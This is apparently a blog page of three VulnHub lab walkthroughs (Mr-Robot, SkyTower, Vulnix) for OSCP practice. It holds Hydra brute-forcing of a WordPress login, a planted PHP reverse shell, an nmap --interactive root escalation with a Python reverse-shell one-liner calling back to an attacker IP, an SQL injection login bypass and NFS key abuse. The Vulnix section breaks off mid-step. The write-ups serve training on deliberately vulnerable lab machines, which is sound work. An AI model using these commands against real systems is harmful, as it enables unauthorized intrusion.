Total Pageviews

Saturday, August 28, 2021

MR-ROBOT -VULNHUB- Linux

 MR-ROBOT -VULNHUB- Linux


Complete walkthrough, of the season content:

RECOGNITION PHASE:

NETWORK DISCOVERY:


We ane going to use  arp-scan tool in order to discover the target machine this software send request over arp protocol on broadcast mode, and wait for the hosts response via this type of protocol  as you can see below:




NMAP:

On this step, from the attacker machine we recover information about the open ports and services of the target machine. We can use some options in order to execute scripts and obtain information about vulnerabilities on the external host.


nmap -sC -sV -p - -n -v 192.168.1.38 -oN target_nmap
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-27 20:42 CEST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 20:42
Completed NSE at 20:42, 0.00s elapsed
Initiating NSE at 20:42
Completed NSE at 20:42, 0.00s elapsed
Initiating NSE at 20:42
Completed NSE at 20:42, 0.00s elapsed
Initiating Ping Scan at 20:42
Scanning 192.168.1.38 [2 ports]                                                                                                                                                   
Completed Ping Scan at 20:42, 0.00s elapsed (1 total hosts)                                                                                                                       
Initiating Connect Scan at 20:42
Scanning 192.168.1.38 [65535 ports]
Discovered open port 443/tcp on 192.168.1.38
Discovered open port 80/tcp on 192.168.1.38
Connect Scan Timing: About 20.36% done; ETC: 20:45 (0:02:01 remaining)
Connect Scan Timing: About 46.68% done; ETC: 20:45 (0:01:10 remaining)
Completed Connect Scan at 20:44, 109.34s elapsed (65535 total ports)
Initiating Service scan at 20:44
Scanning 2 services on 192.168.1.38
Completed Service scan at 20:44, 12.05s elapsed (2 services on 1 host)
NSE: Script scanning 192.168.1.38.
Initiating NSE at 20:44
Completed NSE at 20:45, 1.44s elapsed
Initiating NSE at 20:45
Completed NSE at 20:45, 0.03s elapsed
Initiating NSE at 20:45
Completed NSE at 20:45, 0.00s elapsed
Nmap scan report for 192.168.1.38
Host is up (0.0027s latency).
Not shown: 65532 filtered ports
PORT    STATE  SERVICE  VERSION
22/tcp  closed ssh
80/tcp  open   http     Apache httpd
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open   ssl/http Apache httpd
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Issuer: commonName=www.example.com
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2015-09-16T10:45:03
| Not valid after:  2025-09-13T10:45:03
| MD5:   3c16 3b19 87c3 42ad 6634 c1c9 d0aa fb97
|_SHA-1: ef0c 5fa5 931a 09a5 687c a2c2 80c4 c792 07ce f71b

NSE: Script Post-scanning.
Initiating NSE at 20:45
Completed NSE at 20:45, 0.00s elapsed
Initiating NSE at 20:45
Completed NSE at 20:45, 0.00s elapsed
Initiating NSE at 20:45
Completed NSE at 20:45, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 123.33 seconds


The conclusion of nmap scan is that we found the following open ports with the services:





EXPLOITATION:


80/tcp http  and 443/tcp https :

On the both services we found the same web page that has a dynamic and interactive interface, this webpage contains information relative to the "MR. ROBOT" famous hacking serie.



The target machine web content simule an operating system, but all of content is developed using javascript and jquery, so nice:


The webpage use an uncommon way of user interaction, for example:
    - Interactue with the user keyboard using a keylogger software javascript function.
    - Interactue with the user mause events with an javascript event mause windows click capture and detection.

The javscript functions, strored on attacker local browser allow execute the folowing commands:



prepare: It show the robot video stored on target machine, that It is allows in two different formats, webm and mp4 on video directory:

http://192.168.1.38/video/prepare.webm
http://192.168.1.38/video/prepare.mp4

whoismrrobot.com

fsociety: It show an other video that ask to clients about are you ready to join fsociety?


inform: It display stored images on webserver
http://192.168.1.38/images/headlines/deflategate.jpg
http://192.168.1.38/images/headlines/billionaire.jpg
http://192.168.1.38/images/headlines/creditcards2.jpg
http://192.168.1.38/images/headlines/metgala.jpg


questions: It display images stored on webserver too.
http://192.168.1.38/images/question/jefferson.jpg
http://192.168.1.38/images/question/steals.jpg
http://192.168.1.38/images/question/madoff.jpg
http://192.168.1.38/images/question/owned.jpg

wakeup: It display a new video
http://192.168.1.38/video/wakeup.webm

join: it show an other interactive webpage location but in this case the html contain util information such the CMS wordpress  location, version context...


We found a lot of information about the target machine without using automatized scan tools:

http://192.168.1.38/wp-login.php
http://192.168.1.38/wp-content/themes/
http://192.168.1.38/xmlrpc.php?rsd
http://192.168.1.38/wp-includes/wlwmanifest.xml




http://192.168.1.38/wp-login



Now we are to recognize the host web using the next tools:

wfuzz
wfuzz --hc 404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://192.168.1.38/FUZZ
interested directories.

000000053: 302 0 L 0 W 0 Ch "login" 000000124: 301 0 L 0 W 0 Ch "0" 000000126: 301 0 L 0 W 0 Ch "feed" 000000133: 301 7 L 20 W 234 Ch "video" 000000163: 301 0 L 0 W 0 Ch "image" 000000169: 301 0 L 0 W 0 Ch "atom" 000000259: 301 7 L 20 W 234 Ch "admin" 000000241: 301 7 L 20 W 239 Ch "wp-content" 000000331: 301 7 L 20 W 234 Ch "audio" 000000348: 200 2027 L 19569 W 489204 Ch "intro" 000000475: 200 53 L 161 W 2740 Ch "wp-login" 000000551: 301 0 L 0 W 0 Ch "rss2" 000000550: 301 7 L 20 W 232 Ch "css" 000000679: 200 385 L 3179 W 19930 Ch "license" 000000786: 301 7 L 20 W 240 Ch "wp-includes" 000000953: 301 7 L 20 W 231 Ch "js" 000000980: 301 0 L 0 W 0 Ch "Image" 000001632: 301 0 L 0 W 0 Ch "page1" 000001604: 301 0 L 0 W 0 Ch "rdf" 000001765: 200 3 L 4 W 41 Ch "robots" 000001730: 200 97 L 842 W 7334 Ch "readme" 000002927: 302 0 L 0 W 0 Ch "dashboard" 000003790: 301 0 L 0 W 0 Ch "%20" 000007180: 301 7 L 20 W 237 Ch "wp-admin" 000010825: 403 0 L 14 W 94 Ch "phpmyadmin" 000011090: 301 0 L 0 W 0 Ch "0000" 000017049: 405 0 L 6 W 42 Ch "xmlrpc"
000045240: 200 30 L 98 W 1188 Ch "http://192.168.1.38/" 000045773: 301 0 L 0 W 0 Ch "IMAGE" 000046026: 302 0 L 0 W 0 Ch "wp-signup"







nikto

nikto --url http://192.168.1.38 -C all
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.1.38
+ Target Hostname:    192.168.1.38
+ Target Port:        80
+ Start Time:         2021-08-27 21:50:54 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-powered-by header: PHP/5.5.29
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html, index.php


+ OSVDB-3092: /admin/: This might be interesting...
+ Uncommon header 'link' found, with contents: <http://192.168.1.38/?p=23>; rel=shortlink
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /admin/index.html: Admin login page/section found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wp-login/: Admin login page/section found.
+ /wordpress: A Wordpress installation was found.
+ /wp-admin/wp-login.php: Wordpress login found
+ /wordpresswp-admin/wp-login.php: Wordpress login found
+ /blog/wp-login.php: Wordpress login found
+ /wp-login.php: Wordpress login found
+ /wordpresswp-login.php: Wordpress login found
+ 26522 requests: 0 error(s) and 18 item(s) reported on remote host
+ End Time:           2021-08-27 22:47:27 (GMT2) (3393 seconds)
---------------------------------------------------------------------------


wp-scann

wpscan --url http://192.168.1.38
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.10
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N][+] URL: http://192.168.1.38/ [192.168.1.38]
[+] Started: Fri Aug 27 21:51:47 2021

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: Apache
 |  - X-Mod-Pagespeed: 1.9.32.3-4523
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] robots.txt found: http://192.168.1.38/robots.txt
 | Found By: Robots Txt (Aggressive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://192.168.1.38/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] WordPress readme found: http://192.168.1.38/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://192.168.1.38/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.3.26 identified (Latest, released on 2021-05-13).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://192.168.1.38/8f3fbf5.html, Match: '-release.min.js?ver=4.3.26'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://192.168.1.38/8f3fbf5.html, Match: 'WordPress 4.3.26'

[+] WordPress theme in use: twentyfifteen
 | Location: http://192.168.1.38/wp-content/themes/twentyfifteen/
 | Last Updated: 2021-07-22T00:00:00.000Z
 | Readme: http://192.168.1.38/wp-content/themes/twentyfifteen/readme.txt
 | [!] The version is out of date, the latest version is 3.0
 | Style URL: http://192.168.1.38/wp-content/themes/twentyfifteen/style.css?ver=4.3.26
 | Style Name: Twenty Fifteen
 | Style URI: https://wordpress.org/themes/twentyfifteen/
 | Description: Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen's simple, st...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In 404 Page (Passive Detection)
 |
 | Version: 1.3 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://192.168.1.38/wp-content/themes/twentyfifteen/style.css?ver=4.3.26, Match: 'Version: 1.3'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:06 <===================================================================================================> (137 / 137) 100.00% Time: 00:00:06

[i] No Config Backups Found.

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpscan.com/register

[+] Finished: Fri Aug 27 21:51:59 2021
[+] Requests Done: 168
[+] Cached Requests: 6
[+] Data Sent: 37.121 KB
[+] Data Received: 273.36 KB
[+] Memory used: 228.863 MB
[+] Elapsed time: 00:00:11

**In that point we found that the web content and publish services it seems that not contains vulnerable code, plugins or services for exploitation pahse. So we are going to make a brute force attack, with the recovered information fsociety.dic to the CMS login webpage.


Brute force attack with fsociety.dic and Hydra tool:

Using burpsuit such a proxy, qe obtain the valid post payload for the input administrarion login form:





 1. Find a valid username





kali@kali:~/VULNHUB/MR-ROBOT/data$ cat fsocity.dic | sort | uniq >users.dic
HUB/MR-ROBOT/data$ cat users.dic | wc -l
11451
kali@kali:~/VULNHUB/MR-ROBOT/data$ hydra -L users.dic -P /usr/share/wordlists/rockyou.txt 192.168.1.38  http-form-post "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.1.38%2Fwp-admin%2F&testcookie=1:Invalid username"
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-08-28 00:16:59


[80][http-post-form] host: 192.168.1.38   login: elliot

2. Find a valid credentials for elliot user:



So at this moment, we can attack the password value on administration wordpress login:

hydra -l "elliot" -P fsocity.dic 192.168.1.38  http-form-post "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.1.38%2Fwp-admin%2F&testcookie=1:is incorrect"
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).




And finally we are inside:




Obtaining a reverse shell on target machine:

http://pentestmonkey.net/tools/web-shells/php-reverse-shell

we should adapt the php script to your attacker machine.

kali@kali:~/VULNHUB/MR-ROBOT/script$ cat php-reverse-shell-1.0/php-reverse-shell.php | grep CHANGE
$ip = '192.168.1.34';  // CHANGE THIS
$port = 8989;       // CHANGE THIS


In that case, we modify the Theme php content:

http://192.168.1.38/wp-content/themes/twentyfifteen/content-link.php



And wait on attacker machine for spawned reverse shell:

right now we got a shell with daemon user permissions!!



PRIVILEGE EXCALATION


Reviewing the operative system with lse.sh script:
On tmp directory download script and add execution permissions.

$ cd /tmp
cd /tmp
$ wget "https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh" -O lse.sh;chmod 700 lse.sh
wget "https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh" -O lse.sh;chmod 700 lse.sh
--2021-08-28 04:20:40--  https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh
Resolving github.com (github.com)... 140.82.121.4
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh [following]
--2021-08-28 04:20:41--  https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 42207 (41K) [text/plain]
Saving to: 'lse.sh'

100%[======================================>] 42,207      --.-K/s   in 0.003s  

2021-08-28 04:20:41 (11.8 MB/s) - 'lse.sh' saved [42207/42207]

$ ls
ls
lse.sh

Relevant findings:







Use an NMAP with setuid permissions and interactive parameter:

$ /usr/local/bin/nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !whoami
root
nmap> waiting to reap child : No child processes
! id
uid=1(daemon) gid=1(daemon) euid=0(root) groups=0(root),1(daemon)



Spawn s reverse shell with a root privileges to the attacker machine:

nmap> ! python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.34",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'




And finally get the flag:




And this is all for this lab machine, I hope that you enjoy with the Linux server and you'll follow my blog [https://roadtooscp-f0ns1.blogspot.com/]. We'll keep in touch.

with kind regards, f0ns1

Wednesday, August 25, 2021

SkyTower - VULNHUB - Linux

 SkyTower - VULNHUB - Linux


Complete walkthrough, of the season content:

RECOGNITION PHASE:

NETWORK DISCOVERY:


We can use a couple of tools  in order to make this task, ane of them is arp-scan that use request over arp protocol on broadcast mode, and wait for the hosts response via this type of protocol  as you can see below:




NMAP:

On this step, from the attaker machine we recover information about the open ports and services of out target machine. We can use some options in order to execute scripts and obtain information about vulnerabilities on the external host.

nmap -sC -sV -p - -v -n 192.168.1.37 -oN target_nmap

Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-24 18:37 CEST

NSE: Loaded 153 scripts for scanning.

NSE: Script Pre-scanning.

Initiating NSE at 18:37

Completed NSE at 18:37, 0.00s elapsed

Initiating NSE at 18:37

Completed NSE at 18:37, 0.00s elapsed

Initiating NSE at 18:37

Completed NSE at 18:37, 0.00s elapsed

Initiating Ping Scan at 18:37

Scanning 192.168.1.37 [2 ports]

Completed Ping Scan at 18:37, 0.00s elapsed (1 total hosts)

Initiating Connect Scan at 18:37

Scanning 192.168.1.37 [65535 ports]

Discovered open port 80/tcp on 192.168.1.37

Discovered open port 3128/tcp on 192.168.1.37

Completed Connect Scan at 18:37, 2.60s elapsed (65535 total ports)

Initiating Service scan at 18:37

Scanning 2 services on 192.168.1.37

Completed Service scan at 18:37, 11.02s elapsed (2 services on 1 host)

NSE: Script scanning 192.168.1.37.

Initiating NSE at 18:37

Completed NSE at 18:37, 20.06s elapsed

Initiating NSE at 18:37

Completed NSE at 18:37, 0.00s elapsed

Initiating NSE at 18:37

Completed NSE at 18:37, 0.00s elapsed

Nmap scan report for 192.168.1.37

Host is up (0.00079s latency).

Not shown: 65532 closed ports

PORT     STATE    SERVICE    VERSION

22/tcp   filtered ssh

80/tcp   open     http       Apache httpd 2.2.22 ((Debian))

| http-methods: 

|_  Supported Methods: POST OPTIONS GET HEAD

|_http-server-header: Apache/2.2.22 (Debian)

|_http-title: Site doesn't have a title (text/html).

3128/tcp open     http-proxy Squid http proxy 3.1.20

|_http-server-header: squid/3.1.20

|_http-title: ERROR: The requested URL could not be retrieved


NSE: Script Post-scanning.

Initiating NSE at 18:37

Completed NSE at 18:37, 0.00s elapsed

Initiating NSE at 18:37

Completed NSE at 18:37, 0.00s elapsed

Initiating NSE at 18:37

Completed NSE at 18:37, 0.00s elapsed

Read data files from: /usr/bin/../share/nmap


The conclusion of nmap scan is that we found the following open ports with the services:




EXPLOITATION:


80/tcp http :



Using a sqlInjectionsuch ' || OR 1=1 #, on email field we'll bypass the login:


With user and password credentials, we should access via SSH, but  where is the service ?


This service only is open, when you access from the Squid http proxy such a proxy on your SSH connection. For this reason you should configure a local proxy, for example with proxychains tool:

Proxychain:

cat /etc/proxychains.conf  | grep -v "\#"
dynamic_chain
proxy_dns 
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks5  127.0.0.1 9050
http 192.168.1.37 3128


NMAP:

Scanning the open services, for all ports using the proxy with nmap tool:

Nmap scan report for 192.168.1.37
Host is up (0.00068s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.0p1 Debian 4+deb7u1 (protocol 2.0)
| ssh-hostkey: 
|   1024 4f:1e:17:00:5f:ec:28:7c:97:17:da:da:3c:b9:36:73 (DSA)
|   2048 1f:ca:22:be:83:a1:38:3f:a6:fe:bc:63:83:99:08:21 (RSA)
|_  256 f6:3b:95:46:6e:a7:0f:72:1a:67:9e:9b:8a:48:5e:3d (ECDSA)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.12 seconds


SSH connection, hash an error when open the users session, on .bashrc file that close the user session, for this reason the previous target is move the file, with the following command:

proxychains john@192.168.1.37 "mv /home/john/.bashrc /home/john/bashrc_backup"

And finally we gain the remote connection:

proxychains john@192.168.1.37



Using the script lse.sh (linux enumeration script), we found an mysql connection  with user root and credentials root.





**mysql -u root -p

On the target database using the towersky schema, in the table user  we can find the user: sara with credentials : ihatethisjob


And this credentials allow a new, connection via SSH with proxychains tool using the same technique:

proxychains sara@192.168.1.37 "mv /home/john/.bashrc /home/john/bashrc_backup"

proxychains sara@192.168.1.37


PRIVILEGE ESCALATION:


with sara's login and the command sudo -l,  the system show what binaries on the target machine vould sara execute such a root user.

And there are two commands allowed: ls /accounts/* and cat /accounts/*

Using the following trick, we can access to the flag file and get the root user credentials.



And this is all for this lab machine, I hope that you enjoy with the Linux server and you'll follow my blog [https://roadtooscp-f0ns1.blogspot.com/]. We'll keep in touch.

with kind regards, f0ns1

Monday, August 23, 2021

Vulunix - VULNHUB - Linux

 Vulunix - VULNHUB - Linux




Complete walkthrough, of the season content:

RECOGNITION PHASE:

NETWORK DISCOVERY:


We can use a couple of tools  in order to make this task, ane of them is arp-scan that use request over arp protocol on broadcast mode, and wait for the hosts response via this type of protocol  as you can see below:



NMAP:

On this step, from the attaker machine we recover information about the open ports and services of out target machine. We can use some options in order to execute scripts and obtain information about vulnerabilities on the external host.


nmap -sC -sV -n -v -p - 192.168.1.33 -oN target_nmap

Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-23 00:56 CEST

NSE: Loaded 153 scripts for scanning.

NSE: Script Pre-scanning.

Initiating NSE at 00:56

Completed NSE at 00:56, 0.00s elapsed

Initiating NSE at 00:56

Completed NSE at 00:56, 0.00s elapsed

Initiating NSE at 00:56

Completed NSE at 00:56, 0.00s elapsed

Initiating Ping Scan at 00:56

Scanning 192.168.1.33 [2 ports]

Completed Ping Scan at 00:56, 0.00s elapsed (1 total hosts)

Initiating Connect Scan at 00:56

Scanning 192.168.1.33 [65535 ports]

Discovered open port 995/tcp on 192.168.1.33

Discovered open port 143/tcp on 192.168.1.33

Discovered open port 993/tcp on 192.168.1.33

Discovered open port 110/tcp on 192.168.1.33

Discovered open port 111/tcp on 192.168.1.33

Discovered open port 25/tcp on 192.168.1.33

Discovered open port 22/tcp on 192.168.1.33

Discovered open port 37893/tcp on 192.168.1.33

Discovered open port 2049/tcp on 192.168.1.33

Discovered open port 46912/tcp on 192.168.1.33

Discovered open port 513/tcp on 192.168.1.33

Discovered open port 38416/tcp on 192.168.1.33

Discovered open port 514/tcp on 192.168.1.33

Discovered open port 47876/tcp on 192.168.1.33

Discovered open port 79/tcp on 192.168.1.33

Discovered open port 512/tcp on 192.168.1.33

Discovered open port 51379/tcp on 192.168.1.33

Completed Connect Scan at 00:56, 2.60s elapsed (65535 total ports)

Initiating Service scan at 00:56

Scanning 17 services on 192.168.1.33

Completed Service scan at 00:59, 156.24s elapsed (17 services on 1 host)

NSE: Script scanning 192.168.1.33.

Initiating NSE at 00:59

Completed NSE at 00:59, 12.38s elapsed

Initiating NSE at 00:59

Completed NSE at 00:59, 1.17s elapsed

Initiating NSE at 00:59

Completed NSE at 00:59, 0.00s elapsed

Nmap scan report for 192.168.1.33

Host is up (0.0020s latency).

Not shown: 65518 closed ports

PORT      STATE SERVICE    VERSION

22/tcp    open  ssh        OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey: 

|   1024 10:cd:9e:a0:e4:e0:30:24:3e:bd:67:5f:75:4a:33:bf (DSA)

|   2048 bc:f9:24:07:2f:cb:76:80:0d:27:a6:48:52:0a:24:3a (RSA)

|_  256 4d:bb:4a:c1:18:e8:da:d1:82:6f:58:52:9c:ee:34:5f (ECDSA)

25/tcp    open  smtp       Postfix smtpd

|_smtp-commands: vulnix, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 

|_ssl-date: 2021-08-22T22:59:50+00:00; +2s from scanner time.

79/tcp    open  finger     Linux fingerd

|_finger: No one logged on.\x0D

110/tcp   open  pop3?

|_ssl-date: 2021-08-22T22:59:50+00:00; +2s from scanner time.

111/tcp   open  rpcbind    2-4 (RPC #100000)

| rpcinfo: 

|   program version    port/proto  service

|   100000  2,3,4        111/tcp   rpcbind

|   100000  2,3,4        111/udp   rpcbind

|   100000  3,4          111/tcp6  rpcbind

|   100000  3,4          111/udp6  rpcbind

|   100003  2,3,4       2049/tcp   nfs

|   100003  2,3,4       2049/tcp6  nfs

|   100003  2,3,4       2049/udp   nfs

|   100003  2,3,4       2049/udp6  nfs

|   100005  1,2,3      41209/udp6  mountd

|   100005  1,2,3      45553/udp   mountd

|   100005  1,2,3      51379/tcp   mountd

|   100005  1,2,3      56771/tcp6  mountd

|   100021  1,3,4      37893/tcp   nlockmgr

|   100021  1,3,4      44447/tcp6  nlockmgr

|   100021  1,3,4      45234/udp   nlockmgr

|   100021  1,3,4      50152/udp6  nlockmgr

|   100024  1          38416/tcp   status

|   100024  1          40861/tcp6  status

|   100024  1          43135/udp   status

|   100024  1          49746/udp6  status

|   100227  2,3         2049/tcp   nfs_acl

|   100227  2,3         2049/tcp6  nfs_acl

|   100227  2,3         2049/udp   nfs_acl

|_  100227  2,3         2049/udp6  nfs_acl

143/tcp   open  imap       Dovecot imapd

|_ssl-date: 2021-08-22T22:59:50+00:00; +2s from scanner time.

512/tcp   open  exec       netkit-rsh rexecd

513/tcp   open  login?

514/tcp   open  tcpwrapped

993/tcp   open  ssl/imaps?

| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server

| Issuer: commonName=vulnix/organizationName=Dovecot mail server

| Public Key type: rsa

| Public Key bits: 2048

| Signature Algorithm: sha1WithRSAEncryption

| Not valid before: 2012-09-02T17:40:22

| Not valid after:  2022-09-02T17:40:22

| MD5:   2b3f 3e28 c85d e10c 7b7a 2435 c5e7 84fc

|_SHA-1: 4a49 a407 01f1 37c8 81a3 4519 981b 1eee 6856 348e

|_ssl-date: 2021-08-22T22:59:50+00:00; +2s from scanner time.

995/tcp   open  ssl/pop3s?

| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server

| Issuer: commonName=vulnix/organizationName=Dovecot mail server

| Public Key type: rsa

| Public Key bits: 2048

| Signature Algorithm: sha1WithRSAEncryption

| Not valid before: 2012-09-02T17:40:22

| Not valid after:  2022-09-02T17:40:22

| MD5:   2b3f 3e28 c85d e10c 7b7a 2435 c5e7 84fc

|_SHA-1: 4a49 a407 01f1 37c8 81a3 4519 981b 1eee 6856 348e

|_ssl-date: 2021-08-22T22:59:50+00:00; +2s from scanner time.

2049/tcp  open  nfs_acl    2-3 (RPC #100227)

37893/tcp open  nlockmgr   1-4 (RPC #100021)

38416/tcp open  status     1 (RPC #100024)

46912/tcp open  mountd     1-3 (RPC #100005)

47876/tcp open  mountd     1-3 (RPC #100005)

51379/tcp open  mountd     1-3 (RPC #100005)

Service Info: Host:  vulnix; OS: Linux; CPE: cpe:/o:linux:linux_kernel


Host script results:

|_clock-skew: mean: 1s, deviation: 0s, median: 1s


NSE: Script Post-scanning.

Initiating NSE at 00:59

Completed NSE at 00:59, 0.00s elapsed

Initiating NSE at 00:59

Completed NSE at 00:59, 0.00s elapsed

Initiating NSE at 00:59

Completed NSE at 00:59, 0.00s elapsed

Read data files from: /usr/bin/../share/nmap

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 172.79 seconds



The conclusion of nmap scan is that we found the following open ports with the services:




EXPLOITATION:


22/tcp ssh Test

ssh root@192.168.1.33
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The fingerprint for the ECDSA key sent by the remote host is
SHA256:IGOuLMZRTuUvY58a8TN+ef/1zyRCAHk0qYP4wMViOAg.
Please contact your system administrator.
Add correct host key in /home/kali/.ssh/known_hosts to get rid of this message.
Offending ECDSA key in /home/kali/.ssh/known_hosts:8
  remove with:
  ssh-keygen -f "/home/kali/.ssh/known_hosts" -R "192.168.1.33"
ECDSA host key for 192.168.1.33 has changed and you have requested strict checking.
Host key verification failed.




NFS-Exploitation

For the NFS exploitation, we can follow the next procedure defined by steps:

showmount -e 192.168.1.33
Export list for 192.168.1.33:
/home/vulnix *


1. Generate new local user : vulnix

cat /etc/passwd | grep vulnix
vulnix:x:2008:2008::/home/vulnix:/bin/sh

**** you should know how to create a new user on your attacker machine (man useradd)


2. Using ssh-keygen in order to create a new local key pair (public and private key for ssh with RSA authentication)

su - vulnix
Contraseña: 
$ bash
vulnix@kali:~$ pwd
/home/vulnix
vulnix@kali:~$ ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/home/vulnix/.ssh/id_rsa): 
Created directory '/home/vulnix/.ssh'.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/vulnix/.ssh/id_rsa
Your public key has been saved in /home/vulnix/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:2CRMZ7IqD2D0B/vUe/OzZIX39oBIB7TqshgmRVshfhU vulnix@kali
The key's randomart image is:
+---[RSA 3072]----+
| . .. + E..      |
|. ..o+.B . .     |
|.. ooo*.. o      |
|.. .+= =.. ..    |
|  o +...So...o   |
|   =   ...ooo..  |
|  . + . . .=. .o |
|   o o o  o o ...|
|    . .    .    .|
+----[SHA256]-----+

3. Modify public key of id_rsa.pub file  to authorized_keys file for allow user connections without password authentication to attacker machine and stored it on /home/vulnix/.ssh path :

